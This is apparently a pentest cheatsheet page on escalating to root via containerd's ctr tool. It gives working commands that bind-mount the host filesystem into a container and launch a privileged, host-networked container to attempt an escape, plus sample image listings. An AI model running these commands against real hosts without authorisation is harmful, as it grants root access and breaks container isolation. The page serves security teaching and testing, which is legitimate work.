// HackTricks · Linux

Containerd (ctr) Privilege Escalation

Containerd (ctr) Privilege Escalation

Basic information

Go to the following link to learn where containerd and ctr fit in the container stack:

Runtimes And Engines

PE 1

If you find that a host contains the ctr command, the native CLI bundled with containerd:[1]

which ctr
/usr/bin/ctr

You can list the images known to containerd:[2]

ctr image list
REF                                  TYPE                                                 DIGEST                                                                  SIZE      PLATFORMS   LABELS
registry:5000/alpine:latest application/vnd.docker.distribution.manifest.v2+json sha256:0565dfc4f13e1df6a2ba35e8ad549b7cb8ce6bccbc472ba69e3fe9326f186fe2 100.1 MiB linux/amd64 -
registry:5000/ubuntu:latest application/vnd.docker.distribution.manifest.v2+json sha256:ea80198bccd78360e4a36eb43f386134b837455dc5ad03236d97133f3ed3571a 302.8 MiB linux/amd64 -

Then run one of those images with the host root recursively bind-mounted at the container root:[3][4]

ctr run --mount type=bind,src=/,dst=/,options=rbind -t registry:5000/ubuntu:latest ubuntu bash

PE 2

Run a container in privileged mode and test for an escape.
You can run a privileged container using host networking as:[5][6]

 ctr run --privileged --net-host -t registry:5000/modified-ubuntu:latest ubuntu bash

--privileged grants the process the caller’s effective Linux capabilities and removes several isolation controls, but an escape remains environment-dependent; use the techniques mentioned in the following page to test for it:[5]

Container Security

References

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.